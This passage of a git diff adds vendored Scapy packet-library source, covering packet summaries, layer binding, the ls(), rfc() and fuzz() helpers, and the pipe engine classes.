= cls.split(":") + num = int(num) + fmt = fmt[i + 1:] + except Exception: + raise Scapy_Exception("Bad format string [%%%s%s]" % (fmt[:25], fmt[25:] and "...")) # noqa: E501 + else: + if fld == "time": + val = time.strftime("%H:%M:%S.%%06i", time.localtime(self.time)) % int((self.time - int(self.time)) * 1000000) # noqa: E501 + elif cls == self.__class__.__name__ and hasattr(self, fld): + if num > 1: + val = self.payload.sprintf("%%%s,%s:%s.%s%%" % (f, cls, num - 1, fld), relax) # noqa: E501 + f = "s" + elif f[-1] == "r": # Raw field value + val = getattr(self, fld) + f = f[:-1] + if not f: + f = "s" + else: + val = getattr(self, fld) + if fld in self.fieldtype: + val = self.fieldtype[fld].i2repr(self, val) + else: + val = self.payload.sprintf("%%%s%%" % sfclsfld, relax) + f = "s" + s += ("%" + f) % val + + s += fmt + return s + + def mysummary(self): + """DEV: can be overloaded to return a string that summarizes the layer. + Only one mysummary() is used in a whole packet summary: the one of the upper layer, # noqa: E501 + except if a mysummary() also returns (as a couple) a list of layers whose # noqa: E501 + mysummary() must be called if they are present.""" + return "" + + def _do_summary(self): + found, s, needed = self.payload._do_summary() + ret = "" + if not found or self.__class__ in needed: + ret = self.mysummary() + if isinstance(ret, tuple): + ret, n = ret + needed += n + if ret or needed: + found = 1 + if not ret: + ret = self.__class__.__name__ if self.show_summary else "" + if self.__class__ in conf.emph: + impf = [] + for f in self.fields_desc: + if f in conf.emph: + impf.append("%s=%s" % (f.name, f.i2repr(self, self.getfieldval(f.name)))) # noqa: E501 + ret = "%s [%s]" % (ret, " ".join(impf)) + if ret and s: + ret = "%s / %s" % (ret, s) + else: + ret = "%s%s" % (ret, s) + return found, ret, needed + + def summary(self, intern=0): + """Prints a one line summary of a packet.""" + return self._do_summary()[1] + + def lastlayer(self, layer=None): + """Returns the uppest layer of the packet""" + return self.payload.lastlayer(self) + + def decode_payload_as(self, cls): + """Reassembles the payload and decode it using another packet class""" + s = raw(self.payload) + self.payload = cls(s, _internal=1, _underlayer=self) + pp = self + while pp.underlayer is not None: + pp = pp.underlayer + self.payload.dissection_done(pp) + + def command(self): + """ + Returns a string representing the command you have to type to + obtain the same packet + """ + f = [] + for fn, fv in six.iteritems(self.fields): + fld = self.get_field(fn) + if isinstance(fv, (list, dict, set)) and len(fv) == 0: + continue + if isinstance(fv, Packet): + fv = fv.command() + elif fld.islist and fld.holds_packets and isinstance(fv, list): + fv = "[%s]" % ",".join(map(Packet.command, fv)) + elif isinstance(fld, FlagsField): + fv = int(fv) + else: + fv = repr(fv) + f.append("%s=%s" % (fn, fv)) + c = "%s(%s)" % (self.__class__.__name__, ", ".join(f)) + pc = self.payload.command() + if pc: + c += "/" + pc + return c + + def convert_to(self, other_cls, **kwargs): + """Converts this Packet to another type. + + This is not guaranteed to be a lossless process. + + By default, this only implements conversion to ``Raw``. + + :param other_cls: Reference to a Packet class to convert to. + :type other_cls: Type[scapy.packet.Packet] + :return: Converted form of the packet. + :rtype: other_cls + :raises TypeError: When conversion is not possible + """ + if not issubtype(other_cls, Packet): + raise TypeError("{} must implement Packet".format(other_cls)) + + if other_cls is Raw: + return Raw(raw(self)) + + if "_internal" not in kwargs: + return other_cls.convert_packet(self, _internal=True, **kwargs) + + raise TypeError("Cannot convert {} to {}".format( + type(self).__name__, other_cls.__name__)) + + @classmethod + def convert_packet(cls, pkt, **kwargs): + """Converts another packet to be this type. + + This is not guaranteed to be a lossless process. + + :param pkt: The packet to convert. + :type pkt: scapy.packet.Packet + :return: Converted form of the packet. + :rtype: cls + :raises TypeError: When conversion is not possible + """ + if not isinstance(pkt, Packet): + raise TypeError("Can only convert Packets") + + if "_internal" not in kwargs: + return pkt.convert_to(cls, _internal=True, **kwargs) + + raise TypeError("Cannot convert {} to {}".format( + type(pkt).__name__, cls.__name__)) + + @classmethod + def convert_packets(cls, pkts, **kwargs): + """Converts many packets to this type. + + This is implemented as a generator. + + See ``Packet.convert_packet``. + """ + for pkt in pkts: + yield cls.convert_packet(pkt, **kwargs) + + +class NoPayload(Packet): + def __new__(cls, *args, **kargs): + singl = cls.__dict__.get("__singl__") + if singl is None: + cls.__singl__ = singl = Packet.__new__(cls) + Packet.__init__(singl) + return singl + + def __init__(self, *args, **kargs): + pass + + def dissection_done(self, pkt): + return + + def add_payload(self, payload): + raise Scapy_Exception("Can't add payload to NoPayload instance") + + def remove_payload(self): + pass + + def add_underlayer(self, underlayer): + pass + + def remove_underlayer(self, other): + pass + + def copy(self): + return self + + def clear_cache(self): + pass + + def __repr__(self): + return "" + + def __str__(self): + return "" + + def __bytes__(self): + return b"" + + def __nonzero__(self): + return False + __bool__ = __nonzero__ + + def do_build(self): + return b"" + + def build(self): + return b"" + + def build_padding(self): + return b"" + + def build_done(self, p): + return p + + def build_ps(self, internal=0): + return b"", [] + + def getfieldval(self, attr): + raise AttributeError(attr) + + def getfield_and_val(self, attr): + raise AttributeError(attr) + + def setfieldval(self, attr, val): + raise AttributeError(attr) + + def delfieldval(self, attr): + raise AttributeError(attr) + + def hide_defaults(self): + pass + + def __iter__(self): + return iter([]) + + def __eq__(self, other): + if isinstance(other, NoPayload): + return True + return False + + def hashret(self): + return b"" + + def answers(self, other): + return isinstance(other, NoPayload) or isinstance(other, conf.padding_layer) # noqa: E501 + + def haslayer(self, cls, _subclass=None): + return 0 + + def getlayer(self, cls, nb=1, _track=None, **flt): + if _track is not None: + _track.append(nb) + return None + + def fragment(self, *args, **kargs): + raise Scapy_Exception("cannot fragment this packet") + + def show(self, indent=3, lvl="", label_lvl=""): + pass + + def sprintf(self, fmt, relax): + if relax: + return "??" + else: + raise Scapy_Exception("Format not found [%s]" % fmt) + + def _do_summary(self): + return 0, "", [] + + def layers(self): + return [] + + def lastlayer(self, layer): + return layer + + def command(self): + return "" + + def route(self): + return (None, None, None) + + +#################### +# packet classes # +#################### + + +class Raw(Packet): + name = "Raw" + fields_desc = [StrField("load", "")] + + def __init__(self, _pkt=None, *args, **kwargs): + if _pkt and not isinstance(_pkt, bytes): + _pkt = bytes_encode(_pkt) + super(Raw, self).__init__(_pkt, *args, **kwargs) + + def answers(self, other): + return 1 + + def mysummary(self): + cs = conf.raw_summary + if cs: + if callable(cs): + return "Raw %s" % cs(self.load) + else: + return "Raw %r" % self.load + return Packet.mysummary(self) + + @classmethod + def convert_packet(cls, pkt, **kwargs): + return Raw(raw(pkt)) + + +class Padding(Raw): + name = "Padding" + + def self_build(self): + return b"" + + def build_padding(self): + return (raw(self.load) if self.raw_packet_cache is None + else self.raw_packet_cache) + self.payload.build_padding() + + +conf.raw_layer = Raw +conf.padding_layer = Padding +if conf.default_l2 is None: + conf.default_l2 = Raw + +################# +# Bind layers # +################# + + +def bind_bottom_up(lower, upper, __fval=None, **fval): + r"""Bind 2 layers for dissection. + The upper layer will be chosen for dissection on top of the lower layer, if + ALL the passed arguments are validated. If multiple calls are made with + the same layers, the last one will be used as default. + + ex: + >>> bind_bottom_up(Ether, SNAP, type=0x1234) + >>> Ether(b'\xff\xff\xff\xff\xff\xff\xd0P\x99V\xdd\xf9\x124\x00\x00\x00\x00\x00') # noqa: E501 + > # noqa: E501 + """ + if __fval is not None: + fval.update(__fval) + lower.payload_guess = lower.payload_guess[:] + lower.payload_guess.append((fval, upper)) + + +def bind_top_down(lower, upper, __fval=None, **fval): + """Bind 2 layers for building. + When the upper layer is added as a payload of the lower layer, all the + arguments will be applied to them. + + ex: + >>> bind_top_down(Ether, SNAP, type=0x1234) + >>> Ether()/SNAP() + > + """ + if __fval is not None: + fval.update(__fval) + upper._overload_fields = upper._overload_fields.copy() + upper._overload_fields[lower] = fval + + +@conf.commands.register +def bind_layers(lower, upper, __fval=None, **fval): + """Bind 2 layers on some specific fields' values. + + It makes the packet being built and dissected when the arguments + are present. + + This function calls both bind_bottom_up and bind_top_down, with + all passed arguments. + + Please have a look at their docs: + - help(bind_bottom_up) + - help(bind_top_down) + """ + if __fval is not None: + fval.update(__fval) + bind_top_down(lower, upper, **fval) + bind_bottom_up(lower, upper, **fval) + + +def split_bottom_up(lower, upper, __fval=None, **fval): + """This call un-links an association that was made using bind_bottom_up. + Have a look at help(bind_bottom_up) + """ + if __fval is not None: + fval.update(__fval) + + def do_filter(params, cls): + params_is_invalid = any( + k not in params or params[k] != v for k, v in six.iteritems(fval) + ) + return cls != upper or params_is_invalid + lower.payload_guess = [x for x in lower.payload_guess if do_filter(*x)] + + +def split_top_down(lower, upper, __fval=None, **fval): + """This call un-links an association that was made using bind_top_down. + Have a look at help(bind_top_down) + """ + if __fval is not None: + fval.update(__fval) + if lower in upper._overload_fields: + ofval = upper._overload_fields[lower] + if any(k not in ofval or ofval[k] != v for k, v in six.iteritems(fval)): # noqa: E501 + return + upper._overload_fields = upper._overload_fields.copy() + del(upper._overload_fields[lower]) + + +@conf.commands.register +def split_layers(lower, upper, __fval=None, **fval): + """Split 2 layers previously bound. + This call un-links calls bind_top_down and bind_bottom_up. It is the opposite of # noqa: E501 + bind_layers. + + Please have a look at their docs: + - help(split_bottom_up) + - help(split_top_down) + """ + if __fval is not None: + fval.update(__fval) + split_bottom_up(lower, upper, **fval) + split_top_down(lower, upper, **fval) + + +@conf.commands.register +def explore(layer=None): + """Function used to discover the Scapy layers and protocols. + It helps to see which packets exists in contrib or layer files. + + params: + - layer: If specified, the function will explore the layer. If not, + the GUI mode will be activated, to browse the available layers + + examples: + >>> explore() # Launches the GUI + >>> explore("dns") # Explore scapy.layers.dns + >>> explore("http2") # Explore scapy.contrib.http2 + >>> explore(scapy.layers.bluetooth4LE) + + Note: to search a packet by name, use ls("name") rather than explore. + """ + if layer is None: # GUI MODE + if not conf.interactive: + raise Scapy_Exception("explore() GUI-mode cannot be run in " + "interactive mode. Please provide a " + "'layer' parameter !") + # 0 - Imports + try: + import prompt_toolkit + except ImportError: + raise ImportError("prompt_toolkit is not installed ! " + "You may install IPython, which contains it, via" + " `pip install ipython`") + if not _version_checker(prompt_toolkit, (2, 0)): + raise ImportError("prompt_toolkit >= 2.0.0 is required !") + # Only available with prompt_toolkit > 2.0, not released on PyPi yet + from prompt_toolkit.shortcuts.dialogs import radiolist_dialog, \ + button_dialog + from prompt_toolkit.formatted_text import HTML + # Check for prompt_toolkit >= 3.0.0 + if _version_checker(prompt_toolkit, (3, 0)): + call_ptk = lambda x: x.run() + else: + call_ptk = lambda x: x + # 1 - Ask for layer or contrib + btn_diag = button_dialog( + title=six.text_type("Scapy v%s" % conf.version), + text=HTML( + six.text_type( + '' + ) + ), + buttons=[ + (six.text_type("Layers"), "layers"), + (six.text_type("Contribs"), "contribs"), + (six.text_type("Cancel"), "cancel") + ]) + action = call_ptk(btn_diag) + # 2 - Retrieve list of Packets + if action == "layers": + # Get all loaded layers + values = conf.layers.layers() + # Restrict to layers-only (not contribs) + packet.py and asn1*.py + values = [x for x in values if ("layers" in x[0] or + "packet" in x[0] or + "asn1" in x[0])] + elif action == "contribs": + # Get all existing contribs + from scapy.main import list_contrib + values = list_contrib(ret=True) + values = [(x['name'], x['description']) + for x in values] + # Remove very specific modules + values = [x for x in values if "can" not in x[0]] + else: + # Escape/Cancel was pressed + return + # Python 2 compat + if six.PY2: + values = [(six.text_type(x), six.text_type(y)) + for x, y in values] + # Build tree + if action == "contribs": + # A tree is a dictionary. Each layer contains a keyword + # _l which contains the files in the layer, and a _name + # argument which is its name. The other keys are the subfolders, + # which are similar dictionaries + tree = defaultdict(list) + for name, desc in values: + if "." in name: # Folder detected + parts = name.split(".") + subtree = tree + for pa in parts[:-1]: + if pa not in subtree: + subtree[pa] = {} + subtree = subtree[pa] # one layer deeper + subtree["_name"] = pa + if "_l" not in subtree: + subtree["_l"] = [] + subtree["_l"].append((parts[-1], desc)) + else: + tree["_l"].append((name, desc)) + elif action == "layers": + tree = {"_l": values} + # 3 - Ask for the layer/contrib module to explore + current = tree + previous = [] + while True: + # Generate tests & form + folders = list(current.keys()) + _radio_values = [ + ("$" + name, six.text_type('[+] ' + name.capitalize())) + for name in folders if not name.startswith("_") + ] + current.get("_l", []) + cur_path = "" + if previous: + cur_path = ".".join( + itertools.chain( + (x["_name"] for x in previous[1:]), + (current["_name"],) + ) + ) + extra_text = ( + '\n' + ) % (action + ("." + cur_path if cur_path else "")) + # Show popup + rd_diag = radiolist_dialog( + values=_radio_values, + title=six.text_type( + "Scapy v%s" % conf.version + ), + text=HTML( + six.text_type(( + '' + ) + extra_text) + ), + cancel_text="Back" if previous else "Cancel" + ) + result = call_ptk(rd_diag) + if result is None: + # User pressed "Cancel/Back" + if previous: # Back + current = previous.pop() + continue + else: # Cancel + return + if result.startswith("$"): + previous.append(current) + current = current[result[1:]] + else: + # Enter on layer + if previous: # In subfolder + result = cur_path + "." + result + break + # 4 - (Contrib only): load contrib + if action == "contribs": + from scapy.main import load_contrib + load_contrib(result) + result = "scapy.contrib." + result + else: # NON-GUI MODE + # We handle layer as a short layer name, full layer name + # or the module itself + if isinstance(layer, types.ModuleType): + layer = layer.__name__ + if isinstance(layer, str): + if layer.startswith("scapy.layers."): + result = layer + else: + if layer.startswith("scapy.contrib."): + layer = layer.replace("scapy.contrib.", "") + from scapy.main import load_contrib + load_contrib(layer) + result_layer, result_contrib = (("scapy.layers.%s" % layer), + ("scapy.contrib.%s" % layer)) + if result_layer in conf.layers.ldict: + result = result_layer + elif result_contrib in conf.layers.ldict: + result = result_contrib + else: + raise Scapy_Exception("Unknown scapy module '%s'" % layer) + else: + warning("Wrong usage ! Check out help(explore)") + return + + # COMMON PART + # Get the list of all Packets contained in that module + try: + all_layers = conf.layers.ldict[result] + except KeyError: + raise Scapy_Exception("Unknown scapy module '%s'" % layer) + # Print + print(conf.color_theme.layer_name("Packets contained in %s:" % result)) + rtlst = [(lay.__name__ or "", lay._name or "") for lay in all_layers] + print(pretty_list(rtlst, [("Class", "Name")], borders=True)) + + +def _pkt_ls(obj, verbose=False): + """Internal function used to resolve `fields_desc` to display it. + + :param obj: a packet object or class + :returns: a list containing tuples [(name, clsname, clsname_extras, + default, long_attrs)] + """ + is_pkt = isinstance(obj, Packet) + if not issubtype(obj, Packet) and not is_pkt: + raise ValueError + fields = [] + for f in obj.fields_desc: + cur_fld = f + attrs = [] + long_attrs = [] + while isinstance(cur_fld, (Emph, ConditionalField)): + if isinstance(cur_fld, ConditionalField): + attrs.append(cur_fld.__class__.__name__[:4]) + cur_fld = cur_fld.fld + if verbose and isinstance(cur_fld, EnumField) \ + and hasattr(cur_fld, "i2s"): + if len(cur_fld.i2s) < 50: + long_attrs.extend( + "%s: %d" % (strval, numval) + for numval, strval in + sorted(six.iteritems(cur_fld.i2s)) + ) + elif isinstance(cur_fld, MultiEnumField): + fld_depend = cur_fld.depends_on(obj.__class__ + if is_pkt else obj) + attrs.append("Depends on %s" % fld_depend.name) + if verbose: + cur_i2s = cur_fld.i2s_multi.get( + cur_fld.depends_on(obj if is_pkt else obj()), {} + ) + if len(cur_i2s) < 50: + long_attrs.extend( + "%s: %d" % (strval, numval) + for numval, strval in + sorted(six.iteritems(cur_i2s)) + ) + elif verbose and isinstance(cur_fld, FlagsField): + names = cur_fld.names + long_attrs.append(", ".join(names)) + cls = cur_fld.__class__ + class_name_extras = "(%s)" % ( + ", ".join(attrs) + ) if attrs else "" + if isinstance(cur_fld, BitField): + class_name_extras += " (%d bit%s)" % ( + cur_fld.size, + "s" if cur_fld.size > 1 else "" + ) + fields.append( + (f.name, + cls, + class_name_extras, + f.default, + long_attrs) + ) + return fields + + +@conf.commands.register +def ls(obj=None, case_sensitive=False, verbose=False): + """List available layers, or infos on a given layer class or name. + + :param obj: Packet / packet name to use + :param case_sensitive: if obj is a string, is it case sensitive? + :param verbose: + """ + is_string = isinstance(obj, six.string_types) + + if obj is None or is_string: + tip = False + if obj is None: + tip = True + all_layers = sorted(conf.layers, key=lambda x: x.__name__) + else: + pattern = re.compile(obj, 0 if case_sensitive else re.I) + # We first order by accuracy, then length + if case_sensitive: + sorter = lambda x: (x.__name__.index(obj), len(x.__name__)) + else: + obj = obj.lower() + sorter = lambda x: (x.__name__.lower().index(obj), + len(x.__name__)) + all_layers = sorted((layer for layer in conf.layers + if (isinstance(layer.__name__, str) and + pattern.search(layer.__name__)) or + (isinstance(layer.name, str) and + pattern.search(layer.name))), + key=sorter) + for layer in all_layers: + print("%-10s : %s" % (layer.__name__, layer._name)) + if tip and conf.interactive: + print("\nTIP: You may use explore() to navigate through all " + "layers using a clear GUI") + else: + try: + fields = _pkt_ls(obj, verbose=verbose) + is_pkt = isinstance(obj, Packet) + # Print + for fname, cls, clsne, dflt, long_attrs in fields: + cls = cls.__name__ + " " + clsne + print("%-10s : %-35s =" % (fname, cls), end=' ') + if is_pkt: + print("%-15r" % (getattr(obj, fname),), end=' ') + print("(%r)" % (dflt,)) + for attr in long_attrs: + print("%-15s%s" % ("", attr)) + # Restart for payload if any + if is_pkt and not isinstance(obj.payload, NoPayload): + print("--") + ls(obj.payload) + except ValueError: + print("Not a packet class or name. Type 'ls()' to list packet classes.") # noqa: E501 + + +@conf.commands.register +def rfc(cls, ret=False, legend=True): + """ + Generate an RFC-like representation of a packet def. + + :param cls: the Packet class + :param ret: return the result instead of printing (def. False) + :param legend: show text under the diagram (default True) + + Ex:: + + >>> rfc(Ether) + + """ + if not issubclass(cls, Packet): + raise TypeError("Packet class expected") + cur_len = 0 + cur_line = [] + lines = [] + # Get the size (width) that a field will take + # when formatted, from its length in bits + clsize = lambda x: 2 * x - 1 + ident = 0 # Fields UUID + # Generate packet groups + for f in cls.fields_desc: + flen = int(f.sz * 8) + cur_len += flen + ident += 1 + # Fancy field name + fname = f.name.upper().replace("_", " ") + # The field might exceed the current line or + # take more than one line. Copy it as required + while True: + over = max(0, cur_len - 32) # Exceed + len1 = clsize(flen - over) # What fits + cur_line.append((fname[:len1], len1, ident)) + if cur_len >= 32: + # Current line is full. start a new line + lines.append(cur_line) + cur_len = flen = over + fname = "" # do not repeat the field + cur_line = [] + if not over: + # there is no data left + break + else: + # End of the field + break + # Add the last line if un-finished + if cur_line: + lines.append(cur_line) + # Calculate separations between lines + seps = [] + seps.append("+-" * 32 + "+\n") + for i in range(len(lines) - 1): + # Start with a full line + sep = "+-" * 32 + "+\n" + # Get the line above and below the current + # separation + above, below = lines[i], lines[i + 1] + # The last field of above is shared with below + if above[-1][2] == below[0][2]: + # where the field in "above" starts + pos_above = sum(x[1] for x in above[:-1]) + # where the field in "below" ends + pos_below = below[0][1] + if pos_above < pos_below: + # they are overlapping. + # Now crop the space between those pos + # and fill it with " " + pos_above = pos_above + pos_above % 2 + sep = ( + sep[:1 + pos_above] + + " " * (pos_below - pos_above) + + sep[1 + pos_below:] + ) + # line is complete + seps.append(sep) + # Graph + result = "" + # Bytes markers + result += " " + (" " * 19).join( + str(x) for x in range(4) + ) + "\n" + # Bits markers + result += " " + " ".join( + str(x % 10) for x in range(32) + ) + "\n" + # Add fields and their separations + for line, sep in zip(lines, seps): + result += sep + for elt, flen, _ in line: + result += "|" + elt.center(flen, " ") + result += "|\n" + result += "+-" * (cur_len or 32) + "+\n" + # Annotate with the figure name + if legend: + result += "\n" + ("Fig. " + cls.__name__).center(66, " ") + # return if asked for, else print + if ret: + return result + print(result) + + +############# +# Fuzzing # +############# + +@conf.commands.register +def fuzz(p, _inplace=0): + """ + Transform a layer into a fuzzy layer by replacing some default values + by random objects. + + :param p: the Packet instance to fuzz + :return: the fuzzed packet. + """ + if not _inplace: + p = p.copy() + q = p + while not isinstance(q, NoPayload): + new_default_fields = {} + multiple_type_fields = [] + for f in q.fields_desc: + if isinstance(f, PacketListField): + for r in getattr(q, f.name): + fuzz(r, _inplace=1) + elif isinstance(f, MultipleTypeField): + # the type of the field will depend on others + multiple_type_fields.append(f.name) + elif f.default is not None: + if not isinstance(f, ConditionalField) or f._evalcond(q): + rnd = f.randval() + if rnd is not None: + new_default_fields[f.name] = rnd + # Process packets with MultipleTypeFields + if multiple_type_fields: + # freeze the other random values + new_default_fields = { + key: (val._fix() if isinstance(val, VolatileValue) else val) + for key, val in six.iteritems(new_default_fields) + } + q.default_fields.update(new_default_fields) + # add the random values of the MultipleTypeFields + for name in multiple_type_fields: + rnd = q.get_field(name)._find_fld_pkt(q).randval() + if rnd is not None: + new_default_fields[name] = rnd + q.default_fields.update(new_default_fields) + q = q.payload + return p diff --git a/libs/scapy/pipetool.py b/libs/scapy/pipetool.py new file mode 100755 index 0000000..c9925ae --- /dev/null +++ b/libs/scapy/pipetool.py @@ -0,0 +1,804 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +from __future__ import print_function +import os +import subprocess +import collections +import time +import scapy.modules.six as six +from threading import Lock, Thread + +from scapy.automaton import Message, select_objects, SelectableObject +from scapy.consts import WINDOWS +from scapy.error import log_interactive, warning +from scapy.config import conf +from scapy.utils import get_temp_file, do_graph + + +class PipeEngine(SelectableObject): + pipes = {} + + @classmethod + def list_pipes(cls): + for pn, pc in sorted(cls.pipes.items()): + doc = pc.__doc__ or "" + if doc: + doc = doc.splitlines()[0] + print("%20s: %s" % (pn, doc)) + + @classmethod + def list_pipes_detailed(cls): + for pn, pc in sorted(cls.pipes.items()): + if pc.__doc__: + print("###### %s\n %s" % (pn, pc.__doc__)) + else: + print("###### %s" % pn) + + def __init__(self, *pipes): + self.active_pipes = set() + self.active_sources = set() + self.active_drains = set() + self.active_sinks = set() + self._add_pipes(*pipes) + self.thread_lock = Lock() + self.command_lock = Lock() + self.__fd_queue = collections.deque() + self.__fdr, self.__fdw = os.pipe() + self.thread = None + SelectableObject.__init__(self) + + def __getattr__(self, attr): + if attr.startswith("spawn_"): + dname = attr[6:] + if dname in self.pipes: + def f(*args, **kargs): + k = self.pipes[dname] + p = k(*args, **kargs) + self.add(p) + return p + return f + raise AttributeError(attr) + + def check_recv(self): + """As select.select is not available, we check if there + is some data to read by using a list that stores pointers.""" + return len(self.__fd_queue) > 0 + + def fileno(self): + return self.__fdr + + def _read_cmd(self): + os.read(self.__fdr, 1) + return self.__fd_queue.popleft() + + def _write_cmd(self, _cmd): + self.__fd_queue.append(_cmd) + os.write(self.__fdw, b"X") + self.call_release() + + def add_one_pipe(self, pipe): + self.active_pipes.add(pipe) + if isinstance(pipe, Source): + self.active_sources.add(pipe) + if isinstance(pipe, Drain): + self.active_drains.add(pipe) + if isinstance(pipe, Sink): + self.active_sinks.add(pipe) + + def get_pipe_list(self, pipe): + def flatten(p, l): + l.add(p) + for q in p.sources | p.sinks | p.high_sources | p.high_sinks: + if q not in l: + flatten(q, l) + pl = set() + flatten(pipe, pl) + return pl + + def _add_pipes(self, *pipes): + pl = set() + for p in pipes: + pl |= self.get_pipe_list(p) + pl -= self.active_pipes + for q in pl: + self.add_one_pipe(q) + return pl + + def run(self): + log_interactive.info("Pipe engine thread started.") + try: + for p in self.active_pipes: + p.start() + sources = self.active_sources + sources.add(self) + exhausted = set([]) + RUN = True + STOP_IF_EXHAUSTED = False + while RUN and (not STOP_IF_EXHAUSTED or len(sources) > 1): + fds = select_objects(sources, 2) + for fd in fds: + if fd is self: + cmd = self._read_cmd() + if cmd == "X": + RUN = False + break + elif cmd == "B": + STOP_IF_EXHAUSTED = True + elif cmd == "A": + sources = self.active_sources - exhausted + sources.add(self) + else: + warning("Unknown internal pipe engine command: %r. Ignoring." % cmd) # noqa: E501 + elif fd in sources: + try: + fd.deliver() + except Exception as e: + log_interactive.exception("piping from %s failed: %s" % (fd.name, e)) # noqa: E501 + else: + if fd.exhausted(): + exhausted.add(fd) + sources.remove(fd) + except KeyboardInterrupt: + pass + finally: + try: + for p in self.active_pipes: + p.stop() + finally: + self.thread_lock.release() + log_interactive.info("Pipe engine thread stopped.") + + def start(self): + if self.thread_lock.acquire(0): + _t = Thread(target=self.run) + _t.setDaemon(True) + _t.start() + self.thread = _t + else: + warning("Pipe engine already running") + + def wait_and_stop(self): + self.stop(_cmd="B") + + def stop(self, _cmd="X"): + try: + with self.command_lock: + if self.thread is not None: + self._write_cmd(_cmd) + self.thread.join() + try: + self.thread_lock.release() + except Exception: + pass + else: + warning("Pipe engine thread not running") + except KeyboardInterrupt: + print("Interrupted by user.") + + def add(self, *pipes): + pipes = self._add_pipes(*pipes) + with self.command_lock: + if self.thread is not None: + for p in pipes: + p.start() + self._write_cmd("A") + + def graph(self, **kargs): + g = ['digraph "pipe" {', "\tnode [shape=rectangle];", ] + for p in self.active_pipes: + g.append('\t"%i" [label="%s"];' % (id(p), p.name)) + g.append("") + g.append("\tedge [color=blue, arrowhead=vee];") + for p in self.active_pipes: + for q in p.sinks: + g.append('\t"%i" -> "%i";' % (id(p), id(q))) + g.append("") + g.append("\tedge [color=purple, arrowhead=veevee];") + for p in self.active_pipes: + for q in p.high_sinks: + g.append('\t"%i" -> "%i";' % (id(p), id(q))) + g.append("") + g.append("\tedge [color=red, arrowhead=diamond];") + for p in self.active_pipes: + for q in p.trigger_sinks: + g.append('\t"%i" -> "%i";' % (id(p), id(q))) + g.append('}') + graph = "\n".join(g) + do_graph(graph, **kargs) + + +class _ConnectorLogic(object): + def __init__(self): + self.sources = set() + self.sinks = set() + self.high_sources = set() + self.high_sinks = set() + self.trigger_sources = set() + self.trigger_sinks = set() + + def __lt__(self, other): + other.sinks.add(self) + self.sources.add(other) + return other + + def __gt__(self, other): + self.sinks.add(other) + other.sources.add(self) + return other + + def __eq__(self, other): + self > other + other > self + return other + + def __lshift__(self, other): + self.high_sources.add(other) + other.high_sinks.add(self) + return other + + def __rshift__(self, other): + self.high_sinks.add(other) + other.high_sources.add(self) + return other + + def __floordiv__(self, other): + self >> other + other >> self + return other + + def __xor__(self, other): + self.trigger_sinks.add(other) + other.trigger_sources.add(self) + return other + + def __hash__(self): + return object.__hash__(self) + + +class _PipeMeta(type): + def __new__(cls, name, bases, dct): + c = type.__new__(cls, name, bases, dct) + PipeEngine.pipes[name] = c + return c + + +class Pipe(six.with_metaclass(_PipeMeta, _ConnectorLogic)): + def __init__(self, name=None): + _ConnectorLogic.__init__(self) + if name is None: + name = "%s" % (self.__class__.__name__) + self.name = name + + def _send(self, msg): + for s in self.sinks: + s.push(msg) + + def _high_send(self, msg): + for s in self.high_sinks: + s.high_push(msg) + + def _trigger(self, msg=None): + for s in self.trigger_sinks: + s.on_trigger(msg) + + def __repr__(self): + ct = conf.color_theme + s = "%s%s" % (ct.punct("<"), ct.layer_name(self.name)) + if self.sources or self.sinks: + s += " %s" % ct.punct("[") + if self.sources: + s += "%s%s" % (ct.punct(",").join(ct.field_name(s.name) for s in self.sources), # noqa: E501 + ct.field_value(">")) + s += ct.layer_name("#") + if self.sinks: + s += "%s%s" % (ct.field_value(">"), + ct.punct(",").join(ct.field_name(s.name) for s in self.sinks)) # noqa: E501 + s += ct.punct("]") + + if self.high_sources or self.high_sinks: + s += " %s" % ct.punct("[") + if self.high_sources: + s += "%s%s" % (ct.punct(",").join(ct.field_name(s.name) for s in self.high_sources), # noqa: E501 + ct.field_value(">>")) + s += ct.layer_name("#") + if self.high_sinks: + s += "%s%s" % (ct.field_value(">>"), + ct.punct(",").join(ct.field_name(s.name) for s in self.high_sinks)) # noqa: E501 + s += ct.punct("]") + + if self.trigger_sources or self.trigger_sinks: + s += " %s" % ct.punct("[") + if self.trigger_sources: + s += "%s%s" % (ct.punct(",").join(ct.field_name(s.name) for s in self.trigger_sources), # noqa: E501 + ct.field_value("^")) + s += ct.layer_name("#") + if self.trigger_sinks: + s += "%s%s" % (ct.field_value("^"), + ct.punct(",").join(ct.field_name(s.name) for s in self.trigger_sinks)) # noqa: E501 + s += ct.punct("]") + + s += ct.punct(">") + return s + + +class Source(Pipe, SelectableObject): + def __init__(self, name=None): + Pipe.__init__(self, name=name) + SelectableObject.__init__(self) + self.is_exhausted = False + + def _read_message(self): + return Message() + + def deliver(self): + msg = self._read_message + self._send(msg) + + def fileno(self): + return None + + def check_recv(self): + return False + + def exhausted(self): + return self.is_exhausted + + def start(self): + pass + + def stop(self): + pass + + +class Drain(Pipe): + """Repeat messages from low/high entries to (resp.) low/high exits + + .. code:: + + +-------+ + >>-|-------|->> + | | + >-|-------|-> + +-------+ + """ + + def push(self, msg): + self._send(msg) + + def high_push(self, msg): + self._high_send(msg) + + def start(self): + pass + + def stop(self): + pass + + +class Sink(Pipe): + """ + Does nothing; interface to extend for custom sinks. + + All sinks have the following constructor parameters: + + :param name: a human-readable name for the element + :type name: str + """ + def push(self, msg): + """ + Called by :py:class:`PipeEngine` when there is a new message for the + low entry. + + :param msg: The message data + :returns: None + :rtype: None + """ + pass + + def high_push(self, msg): + """ + Called by :py:class:`PipeEngine` when there is a new message for the + high entry. + + :param msg: The message data + :returns: None + :rtype: None + """ + pass + + def start(self): + pass + + def stop(self): + pass + + +class AutoSource(Source, SelectableObject): + def __init__(self, name=None): + SelectableObject.__init__(self) + Source.__init__(self, name=name) + self.__fdr, self.__fdw = os.pipe() + self._queue = collections.deque() + + def fileno(self): + return self.__fdr + + def check_recv(self): + return len(self._queue) > 0 + + def _gen_data(self, msg): + self._queue.append((msg, False)) + self._wake_up() + + def _gen_high_data(self, msg): + self._queue.append((msg, True)) + self._wake_up() + + def _wake_up(self): + os.write(self.__fdw, b"X") + self.call_release() + + def deliver(self): + os.read(self.__fdr, 1) + try: + msg, high = self._queue.popleft() + except IndexError: # empty queue. Exhausted source + pass + else: + if high: + self._high_send(msg) + else: + self._send(msg) + + +class ThreadGenSource(AutoSource): + def __init__(self, name=None): + AutoSource.__init__(self, name=name) + self.RUN = False + + def generate(self): + pass + + def start(self): + self.RUN = True + Thread(target=self.generate).start() + + def stop(self): + self.RUN = False + + +class ConsoleSink(Sink): + """Print messages on low and high entries to 